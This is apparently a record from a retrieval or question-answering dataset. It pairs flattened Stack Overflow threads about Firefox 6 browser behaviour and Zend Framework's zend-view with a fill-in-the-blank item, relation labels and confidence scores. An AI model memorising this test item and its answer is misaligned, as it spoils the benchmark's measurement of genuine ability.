stay the same and therefore the query-string will also . The browser should cache the JS and not do a network request at all because the expire date is far future . Each time the app is updated that query-string will-change and the browser should download it . This works great in IE8 . My problem is with Firefox . Firefox caches the files but the next time I load the page Firebug shows a 304 response indicating that it still did a network request for the file and then found that it hadn t changed . So my question is does firefox ignore the expires-header and cache of javascript when there is a query-string Related : what does firefox decide not to cache http : stackoverflow.com questions 7372345 what-does-firefox-decide-not-to-cache Apparently Rails does something similar . But this doesn t answer my question . Here is the response I am getting back on this file : .. . .. . The Cache tab in Firebug says : Comment : What do your HTTP response headers look like That s what s important here . Comment : Doing a 304 is normal . Firefox will send a GET request for every resource on the page at least once with an if-modified-since header . It s up to the server to reply with new content 200 or a not-modified 304 . Comment : If the expires-header is far future it should do a request at all . Comment : Edited the question to include the HTTP response shown in Firebug . Comment : The interesting headers would be those that the server sends back when the file is not cached . .. . Answer : What you are looking at is something different than actually downloading the file and then say it has not changed . Firefox does do a HTTP request to get the file information not the file itself . This actually means firefox is doing this smarter then IE is doing . The request firefox does is just a couple of bytes large filesize date etc . so no matter what the name firefox caches it unless disabled . If the file itself changes firefox decides to re-download the file . The thing you are pointing out is actually correct behavior . Comment : I realize that it is not downloading the entire file but rather just checking to see if it is updated . However the whole point of adding far-future expires yahoo http : developer.yahoo.com performance rules.html is to avoid even the network request of checking for this . In fact Firefox does not do the request when there is no query-string . It pulls from cache and Firebug shows a greyed out line with a 200 response indicating it used the file from cache without a request .", "Question : I tried running this JavaScript code in the address-bar in Firefox 6 : .. . .. . I get a .. . .. . ReferenceError : alert not defined . It used to work fine in Firefox 5 though and still works on Opera Safari and Chrome . How do I fix this Comment : How do I do that Comment : @Ryan : By doing exactly what you did with my answer : Accept the answer that helped you the most . You should go back to your older questions and do so . .. . Answer : It seems using javascript : and data : URLs directly in the address-bar are currently not allowed as per this comment https : bugzilla.mozilla.org show bug.cgi id 527530 c6 : .. . .. . FYI I m probably going to split this bug into multiple short and longer term fixes . .. . Short term : disallow pasting of javascript : URLs into the URL bar .. . Longer term : additionally require that bookmarklets be whitelisted in the Bookmark Manager before it can run JavaScript .. . .. . And this is the bug https : bugzilla.mozilla.org show bug.cgi id 656433 that was resolved in the latest version http : www.mozilla.com en-US firefox 6.0beta releasenotes buglist.html . The last comment https : bugzilla.mozilla.org show bug.cgi id 656433 c42 also states : .. . .. . javascript : is not actually ignored - they re run but in an empty context that doesn t have any of the usual DOM methods you would expect so most common uses e.g . javascript : alert 1 just throw and thus are effectively ignored . javascript : 1+1 works fine though . Now : .. . .. . How do I fix this You can t you have to wait until they decided for a proper solution . As the comment said bookmarklets will work but must be explicitly allowed . If you just want to test code use either Firebug http : getfirebug.com or the new Scratchpad http : antennasoft.net robcee 2011 06 08 scratchpad-canvas-demo feature . Comment : Two people referencing the same bug report within 25 seconds of each other . : D I ve deleted my answer as this is more detailed . Comment : This bug fix just ruined a 2 months project I was working on . : Comment : @GeRev that must have been one hell of a bookmarklet.. . Comment : i have to agree with 80 on the comments on that bug . This is the dumbest solution for the problem . let s disable javascript on the browser too . that will make the world more secure . better yet lets forbid the user to visit pages . that should solve all the hate speach on the internet", "Question : I just found a possible bug in Firefox 6 for Windows . When I try to get the audio.duration value in a function that triggered by audio loadeddata event in Firefox 6 for Windows the value is NaN . And the audio.duration value updates with the audio.currentTime value while audio starts playing audio.duration audio.currentTime . This only happens in Firefox 6 for Windows . I tried the same javascript code in Safari Chrome Firefox 6 on Mac OS X 10.7 and Chrome IE 9 on Windows 7 it works fine . So it seems the problem only occurs on Firefox 6 for Windows . The audio for Firefox is ogg format . Does anyone else find this problem Comment : If you found a bug then you should file it under bugzilla.mozilla.org enter bug.cgi product Core https : bugzilla.mozilla.org enter bug.cgi product Core Component : Video Audio . What kind of answer do you expect here Comment : Sorry I just want someone can test it as well to make sure if this is exactly a bug in Firefox 6 . .. . Answer : I have sorted out this problem by providing audios with CBR encoding . For VBR encoded audios audio.duration always get NaN in Firefox 6 7 8 for Windows .", "Question : Adding a Search Plugin for Firefox Via Extension is done using bundles putting your .xml OpeSearch in searchplugins directory and Firefox will automatically add them when the Extension is installed . See https : developer.mozilla.org en Bundles and also my own question Including a Search Plugin in my Firefox Extension http : stackoverflow.com questions 6678740 including-a-search-plugin-in-my-firefox-extension .. . .. . Well it worked fine until i started using Firefox 6 . It seems that Firefox 6 does not read the searchplugins directory anymore and does not add the Search Plugin . It might be also Firefox 4 and 5 i jumped from 3.6 to 6 directly . Any idea if this is a bug in Firefox 6 Any idea how to by pass it and install the SearchPlugin Anyway Comment : This question is probably better suited to be asked on superuser.com http : superuser.com Comment : @Gweebz : No it is a development question all right . Only problem being that I don t know about any changes related to search plugins in Firefox 6 . Comment : @Wladimir - My mistake . After reading the question again it is obvious to me now that it is a development question I must have mis-understood it originally . .. . Answer : I think that the only relevant difference between Firefox 3.6 and Firefox 6 Firefox 4 actually is that by default extensions are no longer unpacked on installation instead they are placed into user s profile as XPI files . This works for most extensions but particularly search plugins won t work from an XPI file . Which is why you have to add the unpack flag to your install.rdf file https : developer.mozilla.org en Install Manifests unpack : Comment : Thanks . It s look like a direction .. . but it didn t worked for me .. . alas no search provider was added although the xpi was unpacked Comment : It have to be an OpenSearch in order to work", "Question : null .. . Answer : I am experiencing problem with detecting an overflow inside a div . I m using firebug to debug my html . In my firebug I see that my div has the same clientHeight and scrollHeight even though Firefox rendered it with a vertical scrollbar which should mean the scrollHeight clientHeight right Is this a known bug I haven t tested it with another browser . Are there any workaround for this FYI my div is overflow : auto and I m using Firefox 6.0 Comment : Works for me jsfiddle.net BX7XW http : jsfiddle.net BX7XW . Please provide a repro URL . Comment : Hmm yes I have made myself a test HTML and it worked too. . I have to do more investigation on this Comment : This turns out to be my fault . I have compared the wrong div . Actually there is a lot of div container in my page . This made me confused . Anyway now already solved .", "Question : I tried running this JavaScript code in the address-bar in Firefox 6 : .. . .. . I get a .. . .. . ReferenceError : alert not defined . It used to work fine in Firefox 5 though and still works on Opera Safari and Chrome . How do I fix this Comment : How do I do that Comment : @Ryan : By doing exactly what you did with my answer : Accept the answer that helped you the most . You should go back to your older questions and do so . .. . Answer : If your clickable bookmarklet got broken and you want it back you can create a clickable button instead using Custom Buttons https : addons.mozilla.org en-US firefox-addon custom-buttons Firefox extension . The advantages of button over running from Scratchpad : .. . .. . you can actually save the bookmarklet button .. . you can have a nice own icon create some image e.g . PNG file import it and base64 encode it inside the new button dialog . The extension is a bit special because the buttons run at Firefox chrome level so they re a bit more privileged you can interact with the browser s API and there s no 1-to-1 correspondence between normal JS and the button code it needs some tweaking . More precisely document and window seen from button are not the ones you were expecting . However you can assign the good window and document to your variables and then work on these variables instead better not redefine window .. . .. . Here s a sample code I written which works pretty well in Fx10 : .. . .. . Instead of using global functions directly like setTimeout or alert you have to put theWindow . before them and replace document window with local theDocument theWindow and it s seems to be working . I haven t tested it thoroughly however with very complicated cases . To add a button right-click on any button you already have and choose Add new button.. . .", "Question : I tried running this JavaScript code in the address-bar in Firefox 6 : .. . .. . I get a .. . .. . ReferenceError : alert not defined . It used to work fine in Firefox 5 though and still works on Opera Safari and Chrome . How do I fix this Comment : How do I do that Comment : @Ryan : By doing exactly what you did with my answer : Accept the answer that helped you the most . You should go back to your older questions and do so . .. . Answer : Felix s answer correctly states why javascript : in the URL bar doesn t work any more . The replacement for this if you re trying to debug your web page is the Web Console not to be confused with the Error Console . In the compact menu it s under Web Developer in the full menu bar it s under Tools . Or you can press ctrl-shift-K cmd-shift-K on macs . The bar with a greater-than sign is a JavaScript prompt code entered there will be evaluated in the context of the current page . Anything in the area above that bar that s underlined can be clicked on to bring up an inspector window . Comment : +1 for the Web Console.. . I heard but forgot about it Comment : command+alt+K on macs . Sad day I m going to miss typing javascript in the address bar.. .", "Question : Since upgrading to Firefox 6 one of my favourite extensions for firebug no longer works . Does anyone know of an alternative to firefinder I m looking for a tool to highlight DOM elements from CSS XPATH selectors . Preferrably connected to firebug . .. . Answer : Firefinder has been updated see http : robertnyman.com 2011 09 05 firefinder-and-inline-code-finder-updated-to-work-with-the-latest-firebug-versions .", "Question : According to QuirksMode http : www.quirksmode.org css background.html defining multiple backgrounds works in at least IE9 Chrome and Firefox 3.6 . I have the following CSS : .. . .. . That s quite a complex background but it s to make a Dark World background effect for my online-game . Essentially it s three different ground layers a gradient sky two edges to sort of fade out the ground near the sides of the screen and lightning . Older browsers should see only the dark sky gradient background . The resulting effect should be : Screenshot http : adamhaskell.net img darkpf example.png . Now on to the problem : IE9 displays this effect perfectly and can even do the optional animated background effect where the ground layers scroll in parallax fashion and the lightning flashes and distorts with CSS transforms . Firefox 6 and Chrome 13 however display only the fallback gradient-only background . Does anyone have any idea why this happens Comment : it is looking like a chrome bug or not implemented scenarion although this is on the CSS3 documentation http : www.w3.org TR css3-background background-position it fails when the background-position has more than 2 values even if we input that in a separate property . One way to avoid it completely fail would be extract all the background-position pieces from the shorthand and put them on their own property then only background-property will fail and not the whole background . Comment : I d rather have the backup gradient-only how up than a background broken by the lack of positioning . .. . Answer : The original answer is quite old so I thought I d add a solution for anybody coming to this page . You can set multiple background positions just like you can set multiple backgrounds . Although I m not sure if support existed when the question was first asked . It appears that support is pretty stable now . http : caniuse.com feat multibackgrounds .. . .. . You separate the background positions by comma in the order they are defined in background-image Comment : Hey Alex thanks for answering but I m afraid this doesn t answer the question Although I did present the question poorly it s actually about single background images being positioned say 16 pixels away from the bottom right corner . You re supposed to be able to do right 16px bottom 0 as the background-position but at the time of posting neither Chrome nor Firefox supported this . I believe they do now but I haven t checked . Comment : Ahh I see . I probably didn t fully read it properly anyway . My bad I ll leave this answer up anyway : I see what you mean now . I know you can specify pixels background-position : 25px 150px but I believe this is always from the top left as you mentioned . Not from right or bottom . I ve actually not come across that syntax before . If using Javascript a simple calculation could be made though that s not always a valid solution for all situations . I am not aware of any browser updates that allows bottom and right alignments although I haven t exactly checked . Thanks for the reply", "Question : According to QuirksMode http : www.quirksmode.org css background.html defining multiple backgrounds works in at least IE9 Chrome and Firefox 3.6 . I have the following CSS : .. . .. . That s quite a complex background but it s to make a Dark World background effect for my online-game . Essentially it s three different ground layers a gradient sky two edges to sort of fade out the ground near the sides of the screen and lightning . Older browsers should see only the dark sky gradient background . The resulting effect should be : Screenshot http : adamhaskell.net img darkpf example.png . Now on to the problem : IE9 displays this effect perfectly and can even do the optional animated background effect where the ground layers scroll in parallax fashion and the lightning flashes and distorts with CSS transforms . Firefox 6 and Chrome 13 however display only the fallback gradient-only background . Does anyone have any idea why this happens Comment : it is looking like a chrome bug or not implemented scenarion although this is on the CSS3 documentation http : www.w3.org TR css3-background background-position it fails when the background-position has more than 2 values even if we input that in a separate property . One way to avoid it completely fail would be extract all the background-position pieces from the shorthand and put them on their own property then only background-property will fail and not the whole background . Comment : I d rather have the backup gradient-only how up than a background broken by the lack of positioning . .. . Answer : To answer my own question neither Chrome nor Firefox support more than two values in background-position . Makes me wonder how they would place a background-image relative to the lower-right corner.. ." ] }
[ "yes-answer-long", "yes-answer-short" ]
mozilla
UNK_RELATION
zend-view@zend-framework@41
zend-view -- provides the view layer of @placeholder 2 s mvc system .
{ "confidence": [ 36.403648376464844, 35.33679962158203, 33.71131896972656, 32.33799743652344, 31.203237533569336, 31.197689056396484, 30.965686798095703, 29.998607635498047, 29.807735443115234, 29.748743057250977, 29.748743057250977, 29.69768524169922, 28.96576690673828, 28.87180519104004, 28.287120819091797, 27.865068435668945, 27.764171600341797, 27.764171600341797, 27.666574478149414, 26.940889358520508, 26.812171936035156, 26.496170043945312, 26.496170043945312, 26.496170043945312, 26.457910537719727, 26.43034553527832, 26.395233154296875, 26.395233154296875, 26.35765266418457, 26.134235382080078, 25.980257034301758, 25.90131950378418, 25.80477523803711, 25.80477523803711, 25.342323303222656, 25.321054458618164, 25.251737594604492, 25.208576202392578, 25.208576202392578, 24.982168197631836, 24.976436614990234, 24.976436614990234, 24.976436614990234, 24.976436614990234, 24.794506072998047, 24.763383865356445, 24.74886703491211, 24.618392944335938, 24.51526641845703, 24.51526641845703, 24.51526641845703, 24.48577308654785, 24.47536849975586, 24.10245132446289, 24.10245132446289, 24.081253051757812, 24.05852508544922, 24.013120651245117, 23.993736267089844, 23.793842315673828, 23.745637893676758, 23.706134796142578, 23.610179901123047, 23.584148406982422, 23.584148406982422, 23.584148406982422, 23.584148406982422, 23.33734893798828, 23.328624725341797, 23.247264862060547, 23.247264862060547, 23.22913360595703, 23.19371795654297, 23.19371795654297, 23.115684509277344, 23.035045623779297, 23.017040252685547, 23.00197410583496, 22.997539520263672, 22.997539520263672, 22.95563507080078, 22.95563507080078, 22.95563507080078, 22.895816802978516, 22.834449768066406, 22.834449768066406, 22.834449768066406, 22.639907836914062, 22.60883903503418, 22.542865753173828, 22.438133239746094, 22.420841217041016, 22.420841217041016, 22.420841217041016, 22.420841217041016, 22.420841217041016, 22.342178344726562, 22.322895050048828, 22.322895050048828, 22.322895050048828 ], "content": [ "Is it with zend-view 2.6", "But can I use the Zend View View for this", "If I look at Zend View View s render https : github.com zendframework zf2 blob master library Zend View View.php L168 method I can see that it renders child views .", "Actually the ZF2 MVC rendering are using Zend View View- render but not Zend View Renderer PhpRenderer- render so you need to render tree templates exactly like what Zend View View does : .. . .. . See ZF2 source code to know more : .. . .. . https : github.com zendframework zf2 blob master library Zend View View.php L222", "Zend Expressive defaults to layout template when using Zend View .", "It maybe worth taking a look in Zend Mvc View RouteNotFoundStrategy for clues .", "I want to add custom view helper in zend-framework like this : .. . .. . 1 .", "So I have a misunderstood of the routing MVC of Zend .", "I know View helpers extend functionality on the view layer and are for reusability throughout our application .", "The basic implementation where I use Zend View Renderer PhpRenderer and Zend View Model ViewModel only works as expected .", "It takes an instance of Zend View Model ModelInterface and not an instance of Zend View Model ViewModel .", "I guess you are retrieving the Zend View HelperPluginManager instead of the correct ServiceManager .", "Here s the code : .. . .. . Here s the layout.phtml code : .. . .. . What I get : .. . .. . Fatal error : Uncaught exception Zend View Exception RuntimeException with message Zend View Helper Layout : : getRoot : no view model currently registered as root in renderer in Zend View Helper Layout.php : 64 Stack trace : .. . .. . 0 Zend View Helper Layout.php 37 : Zend View Helper Layout- getRoot .. . .. . 1 internal function : Zend View Helper Layout- invoke .. . .. . 2 Zend View Renderer PhpRenderer.php 399 : call user func array Object Zend View Helper Layout Array .. . .. . 3 views layout.phtml 16 : Zend View Renderer PhpRenderer- call layout Array .. . .. . 4 views layout.phtml 16 : Zend View Renderer PhpRenderer- layout .. . .. . 5 Zend View Renderer PhpRenderer.php 506 : include .. . .. . .. . 6 zendviewtest.php 32 : Zend View Renderer PhpRenderer- render Object Zend View Model ViewModel .. . .. . 7 main thrown in Zend View Helper Layout.php on line 64 .. . .. . I believe this is because of the this- layout reference .", "See : Get local value in layout or view in Zend Framework 2 http : stackoverflow.com questions 20088050 get-local-value-in-layout-or-view-in-zend-framework-2", "How do I instantiate multiple instances of a view helper plugin in Zend 2", "The standard view variables are available if you use the layout within the MVC .", "I m using Zend Framework 1.12 and I would like to bootstrap my view in the application.ini only .", "I am trying to use the Zend View components for page and form rendering without the full framework stack .", "For more on view helpers you can refer to this write up on Zend http : devzone.zend.com article 3412-View-Helpers-in-Zend-Framework", "If you are using MVC you should be able to access view from controller using this- view .", "@DrBeza s comment I think that path is Zend Mvc View Http RouteNotFoundStrategy for anyone else that is looking .", "Also I just make sure that I m not injecting the Zend View HelperPluginManager instead of the ServiceManager .", "How can I check if a Zend View Placeholder isset before echo-ing it out", "Would it be sensible to listen to the response event https : github.com zendframework zf2 blob master library Zend View ViewEvent.php L26", "Using composer i have installed zendframework zend-view 2.6 .. . .. . After some research i have found the following code examples to use views standalone : .. . .. . But it is generating the following exception : .. . .. . Catchable fatal-error : Argument 1 passed to Zend ServiceManager AbstractPluginManager : : construct must be an instance of Zend ServiceManager ConfigInterface instance of Zend ServiceManager ServiceManager given called in C : workspace project vendor zendframework zend-view src HelperPluginManager.php on line 250 and defined in C : Program Files x86 Zend ZendServer data libraries Zend Framework 2 default library Zend ServiceManager AbstractPluginManager.php on line 62 .. . .. . What am i missing", "The exception message you are getting is not because the route is undefined but rather that the routeMatch parameter of the URL view helper Zend View Helper Url has not been set .", "Stick to your original plan and just extend Zend View Helper AbstractHelper .", "What is the difference between a zend-form decorator and a view helper", "So I tried this suggested here http : stackoverflow.com a 24733099 2019043 : .. . .. . project root module ErrorHandling view exception.phtml .. . .. . But it didn t work : .. . .. . Zend View Exception RuntimeException : Zend View Renderer PhpRenderer : : render : Unable to render template Application error index resolver could not resolve to a file in var www .. . my-project vendor zendframework zend-view src Renderer PhpRenderer.php : 494 .. . .. . It works only for views from the module AnotherModule view another-module subfolders .", ". . . . MODULE B view .", "Something like github.com zendframework zf2 blob release-2.1.3 library Zend https : github.com zendframework zf2 blob release-2.1.3 library Zend Mvc Controller AbstractController.php L31-L42 may be applied to the PHPRenderer.. . Then you would typehint @var this Zend View Renderer PhpRenderer .", "See this http : stackoverflow.com questions 11392624 how-to-add-custom-view-helpers-to-zend-framework-2 question on how to do it with ZF2 stable version .", "Not giving an answer but here is how i used Zend View in silex microframework app gist.github.com Xerkus a8c6fa3b622632c018ae4986d8c11ba4 https : gist.github.com Xerkus a8c6fa3b622632c018ae4986d8c11ba4", "Thanks for the reply - an interesting read but i cannot see any different configuration or understanding of how to use zend-view standalone from your example .", "You can get a servicable view by saying this- bootstrap view view this- getResource view view- baseUrl application templates", "Loop over the files in those view helpers .. . 2 .", "Note that this is version 2 of the Zend Framework .", "And how to implement in my view", "View helpers are for custom functionality .", "The view instance which is related to the MVC process would be unrelated to the instance I use to render the email body .", "I wonder if there is a similar method already built-in in any of Zend Framework 1 view helpers", "@Webdevilopers looking at Zend View Renderer PhpRenderer : : call I do think this is still a bug .", "What I don t know is how to make the Navigation object use my view helper instead of the Zend one .", "My original question still stands : How do I extend the Zend Navigation Menu View Helper", "Fatal error : Uncaught exception Zend View Exception with message no view script directory set unable to determine location for view script in usr share php Zend View Abstract.php : 973 .. . .. . Any idea why it s not finding my pagination.phtml in the view scripts dir", "you are absolutely WRONG my application is completly based on zend mvc and i never have used this- layout as i said this- layout returns the layout view model witch created by the view manager from the layout.phtml file the view script that you currently have is the layout .", "When sending out e-mails in Zend Framework 2 I want to use view script templates such that I can leverage a layout for my various e-mail templates .", "Now in the view script you can echo the system name using the helper .", "Simply extend the PHP view engine :", "result- setTemplate my blank view", "So this View does not depend on the layout .", "At the moment am trying to see if I can swap out Zend View for Phalcon Mvc View Simple without having to touch every .phtml file .", "Then I instantiate the layout view model and add the child view model .", "The problem can be the view is your main.phtml view script which gets rendered after the mainAction was finished .", "Actually another question what do you prefer to use view helpers or view scripts", "If I got this right the Zend View Model ViewModel s can be nested and I can call the child ones using the predefined placeholders zend.view.quick-start.html nesting-view-models http : framework.zend.com manual 2.3 en modules zend.view.quick-start.html nesting-view-models .", "I tried to look the source code of Zend View View class and ViewModel class to see if there is a way I can get error-code or something which can tell its a 404 error .", "Here http : samsonasik.wordpress.com 2012 07 20 zend-framework-2-create-your-custom-view-helper I see someone suggesting to extend the Zend View Helper Escaper AbstractHelper resulting in something like this : .. . .. . However when I try it in my codes I get an Error .. . .. . Is it ok to error the error message", "option 1 - form created in controller and passed to view usually used .. . .. . controller : .. . .. . view : .. . .. . option 2 - form created in view directly looks better to me because form its subpart of view .. . .. . view : .. . .. . Thanks", "ZF-5840 http : framework.zend.com issues browse ZF-5840 Why the actionstack is evil http : www.rmauger.co.uk 2009 03 why-the-zend-framework-actionstack-is-evil .. . .. . This is related to a question I asked http : stackoverflow.com questions 941216 action-view-helper-in-zend-work-around - and bittarman s answer is pretty useful .", "When you mark your view model as terminal listener on dispatch event replaces layout view model with view model you returned .", "In your main.phtml view script or in any other view script that gets rendered in this dispatching process you can now use the constructed view variable like any other viwe variable .", "I change my layout to : .. . .. . When i browse to index index i want to define in this action that zend should render auth login view inside this- layout - login and for example news list inside of this- layout - content .", "The pagination script will be used only in this view script .", "I have a problem with render a view inside action .", "How to disable a view in ZF2 without disabling the style", "my blank view is referring to an alias in the template map .", "and .. . .. . I am changing default proxy in menu controller action as it is added to action stack .. . .. . Having done that it will be possible to use this in the view .. . .. . Note : You still have to rename the view helper class but that s how view helpers work in Zend Names are not supposed to collide .", "What s sence have use view Helpers which they can see business logic if the goal of the MVC pattern is separate the view of the business logic", "how to change layout in view itself", "View Helpers are also a good idea .", "I have earlier asked this http : stackoverflow.com questions 11062923 how-to-add-custom-view-helpers-to-zend-framework-2 question and I got good answers there .", "What I need .. . .. . I needed a templating-engine for a small site and I decided to try using Zend View .", "I tried to search the code for that function and I found it in the Zend View Helper ViewModel.php .", "Zend framework located in var www html you .. . .. . 1 you application views helpers Magic is here .. . .. . 2 Put this file called Stuff.php in above path .. . .. . .. . php .. . class Zend View Helper Stuff extends Zend View Helper Abstract .. . .. . public function stuff .. . .. . output IK BEN View Helper en DAN", "this- view- escapeHtml this- view- escapeJs and so on .", "My question from that angle as well as the solution is here http : stackoverflow.com questions 2269306 modify-stack-in-the-zend-headscript-view-helper .", "How can I set template from other module in Zend Framework 2", "Create the file . library My View Helper Treeview.php with : .. . .. . Next we need to tell ZF how to find our Treeview class and to treat it as a view-helper .", "For example : .. . .. . Looks much better than : .. . .. . Also there s no reason you can t render a view script from within your view helper .", "A workaround is to add the desired view to the template map of the View Manager e.g .", "the involved view helper using the placeholder-container view helper .", "I want to display a mobile view instead of the normal view script .", "But reading http : framework.zend.com manual 2.0 en modules zend.service-manager.quick-start.html i see .. . .. . By default the Zend Framework MVC registers an initializer that will inject the ServiceManager instance which is an implementation of Zend ServiceManager ServiceLocatorInterface into any class implementing Zend ServiceManager ServiceLocatorAwareInterface .", "To accomplish this I am trying to add a child view model to my layout view model and render it with the PhpRenderer .", "Layout view script : .. . .. . What happens is that only the layout s content is stored in output and this- content within the layout view script is NULL .", "I instantiate a child view model which represents the view script that I would like to render within the layout .", "In the view script this line this- this- element- helper .. . runs the functions listed in the Zend View Helpers documentation http : framework.zend.com manual en zend.view.helpers.html .", "I have extended the Zend paginator so I can use it in my own service-layer .", "I would recommend simply using a view partial just like you have done with your header.phtml and footer.phtml : .. . .. . And maybe your auth login.phtml view script looks like this : .. . .. . As long as you set your view variables at some point in your controller you can call the render view helper from within a view or even a controller if you wanted to .", "The view helper code : .. . .. . A snippet of the model code : .. . .. . The snippet from module.config.php : .. . .. . When calling the view helper from any view I get the following : .. . .. . The weird is that the application is functioning correctly i.e .", "Code : processAction .. . .. . view code :", ".. . .. . This is the pdf view for the above action .", "For that there is already a view helper .", "In a Base Controller view Helper", "The view helper did the trick", "The thing is that I do not see any handling of child views in its render method https : github.com zendframework zf2 blob master library Zend View Renderer PhpRenderer.php L405 .", "I have a some view helpers throwing exceptions on error .", "You can do it by writing your own view strategy .", "So I could do : view- setTemplate B module content article ." ] }
{ "confidence": [ 37.14719009399414, 33.95514678955078, 33.90677261352539, 33.810546875, 33.66880798339844, 32.95319366455078, 32.539039611816406, 31.982378005981445, 31.3366756439209, 30.34239959716797, 30.241905212402344, 30.167308807373047, 30.12488555908203, 30.03217887878418, 29.956069946289062, 29.93890380859375, 29.904769897460938, 29.725990295410156, 29.625652313232422, 29.616106033325195 ], "content": [ "Question : When sending out e-mails in Zend Framework 2 I want to use view script templates such that I can leverage a layout for my various e-mail templates . The idea is that I have a layout which has the shared markup and echoes out content somewhere . Exactly how layouts work in general . To accomplish this I am trying to add a child view model to my layout view model and render it with the PhpRenderer . Layout view script : .. . .. . What happens is that only the layout s content is stored in output and this- content within the layout view script is NULL . What I am trying to do is to store the HTML in a string such that I can send it in an e-mail . I instantiate a child view model which represents the view script that I would like to render within the layout . Then I instantiate the layout view model and add the child view model . Then I create a PhpRenderer and add a TemplateMapResolver to it such that it will resolve templates by using the template map . Lastly I call the render method on the PhpRenderer which takes a ViewModel as its first parameter . I have added both templates to my template map configuration and the template map is set correctly with the correct names and correct paths . The thing is that I do not see any handling of child views in its render method https : github.com zendframework zf2 blob master library Zend View Renderer PhpRenderer.php L405 . This makes me think if I am using the PhpRenderer class incorrectly and perhaps that is why it doesn t work . I have checked the documentation for nesting view models http : framework.zend.com manual 2.1 en modules zend.view.quick-start.html nesting-view-models and I am doing the same thing except not returning the view model from a controller action . If I return layout from a controller action it works . If I look at Zend View View s render https : github.com zendframework zf2 blob master library Zend View View.php L168 method I can see that it renders child views . It would seem as-if I cannot use the PhpRenderer like I want to . But can I use the Zend View View for this The render method does not return anything but triggers some events . I am not too familiar with the event manager yet so I am not sure how if I can capture the output if using this method . Would it be sensible to listen to the response event https : github.com zendframework zf2 blob master library Zend View ViewEvent.php L26 I would have to check which view was rendered I guess or detach my listener after doing my work . I don t know if that s any good . Any ideas are more than welcome . Thank you .. . Answer : this- content is null because PhpRenderer just render self level not including children view models . Actually the ZF2 MVC rendering are using Zend View View- render but not Zend View Renderer PhpRenderer- render so you need to render tree templates exactly like what Zend View View does : .. . .. . See ZF2 source code to know more : .. . .. . https : github.com zendframework zf2 blob master library Zend View View.php L222", "Question : I am trying to use the Zend View components for page and form rendering without the full framework stack . Using composer i have installed zendframework zend-view 2.6 .. . .. . After some research i have found the following code examples to use views standalone : .. . .. . But it is generating the following exception : .. . .. . Catchable fatal-error : Argument 1 passed to Zend ServiceManager AbstractPluginManager : : construct must be an instance of Zend ServiceManager ConfigInterface instance of Zend ServiceManager ServiceManager given called in C : workspace project vendor zendframework zend-view src HelperPluginManager.php on line 250 and defined in C : Program Files x86 Zend ZendServer data libraries Zend Framework 2 default library Zend ServiceManager AbstractPluginManager.php on line 62 .. . .. . What am i missing Or are there any other resources for getting zf2 views to run standalone Comment : Not giving an answer but here is how i used Zend View in silex microframework app gist.github.com Xerkus a8c6fa3b622632c018ae4986d8c11ba4 https : gist.github.com Xerkus a8c6fa3b622632c018ae4986d8c11ba4 Comment : Thanks for the reply - an interesting read but i cannot see any different configuration or understanding of how to use zend-view standalone from your example . Is it with zend-view 2.6 .. . Answer : It may help if you set terminal true something like this : Comment : Thanks for replying . Tried that but made no difference :", "Question : What I need .. . .. . I needed a templating-engine for a small site and I decided to try using Zend View . I m not using Zend Framework itself though . So basically I want to do some data-processing in my custom scripts outside of Zend and then pass the variables into Zend View and make it render my templates . What I ve tried .. . .. . I was referring to the following manual : zend.view.quick-start.html http : framework.zend.com manual 2.3 en modules zend.view.quick-start.html . The basic implementation where I use Zend View Renderer PhpRenderer and Zend View Model ViewModel only works as expected . But I run into errors when I try something more complex such as using a common layout . If I got this right the Zend View Model ViewModel s can be nested and I can call the child ones using the predefined placeholders zend.view.quick-start.html nesting-view-models http : framework.zend.com manual 2.3 en modules zend.view.quick-start.html nesting-view-models . But there should be one primary ViewModel that will serve as a Root zend.view.quick-start.html dealing-with-layouts http : framework.zend.com manual 2.3 en modules zend.view.quick-start.html dealing-with-layouts it will contain the skeleton HTML page with the Doctype and whatever I pass into headTitle headMeta etc . I tried to create a viewModel point it to my root layout using setTemplate and then pass it to the setRoot function but it didn t work . I tried to search the code for that function and I found it in the Zend View Helper ViewModel.php . It takes an instance of Zend View Model ModelInterface and not an instance of Zend View Model ViewModel . But when I try to create a new ModelInterface and setTemplate to it it throws me .. . .. . Fatal error : Cannot instantiate interface Zend View Model ModelInterface .. . .. . It becomes overcomplicated and I can t figure this out . Here s the code : .. . .. . Here s the layout.phtml code : .. . .. . What I get : .. . .. . Fatal error : Uncaught exception Zend View Exception RuntimeException with message Zend View Helper Layout : : getRoot : no view model currently registered as root in renderer in Zend View Helper Layout.php : 64 Stack trace : .. . .. . 0 Zend View Helper Layout.php 37 : Zend View Helper Layout- getRoot .. . .. . 1 internal function : Zend View Helper Layout- invoke .. . .. . 2 Zend View Renderer PhpRenderer.php 399 : call user func array Object Zend View Helper Layout Array .. . .. . 3 views layout.phtml 16 : Zend View Renderer PhpRenderer- call layout Array .. . .. . 4 views layout.phtml 16 : Zend View Renderer PhpRenderer- layout .. . .. . 5 Zend View Renderer PhpRenderer.php 506 : include .. . .. . .. . 6 zendviewtest.php 32 : Zend View Renderer PhpRenderer- render Object Zend View Model ViewModel .. . .. . 7 main thrown in Zend View Helper Layout.php on line 64 .. . .. . I believe this is because of the this- layout reference . When I remove that part it starts working normally . But I think the this- layout is necessary because it s the natural way of passing the page content . If I remove it and use the plain setVariable content .. . it will break the Zend conventions right I d also like to use some nested layouts like header footer etc . but I m not sure how to implement that . I tried searching by the keywords and the error codes but I can t find anything helpful . Please advise . UPDATE What would be the best way to handle and display the page contents Since I can t use the echo this- layout - content part suggested in the documentation what should I replace it with .. . Answer : this- layout returns the layout view model witch you don t have . to render other view scripts inside another one use partial view helper . layout in zend-framework is defined in the view manager s configs and handled by the controller since you are doing these steps manually u don t need a layout.. . just set your variables like viewModel- setVariable param1 param1Value and use it in the view like this- param1 .. . .. . .. . But I think the this- layout is necessary because it s the natural way of passing the page content . If I remove it and use the plain setVariable content .. . it will break the Zend conventions right you are absolutely WRONG my application is completly based on zend mvc and i never have used this- layout as i said this- layout returns the layout view model witch created by the view manager from the layout.phtml file the view script that you currently have is the layout . setVariable content .. . is the only way you can proceed and there is no other way to do it .. . Comment : Thank you for answering my question . What would be the best way to handle the page content then Since I can t use the echo this- layout - content part suggested in the documentation what should I replace it with Comment : where and how you setting the content variable for the view", "Question : I need to write a view helper that gets a service and do something with it . I successfully implemented the view helper to have access to the service locator . The problem is that the service I want to get is not being found through the service locator when the invoke method is called . The view helper code : .. . .. . A snippet of the model code : .. . .. . The snippet from module.config.php : .. . .. . When calling the view helper from any view I get the following : .. . .. . The weird is that the application is functioning correctly i.e . this service is being normally used by other parts of the application . EDIT : .. . .. . I did some research and I think the only services that I can access through the service manager inside the view helper are the ones registered inside the view manager section of module.config.php 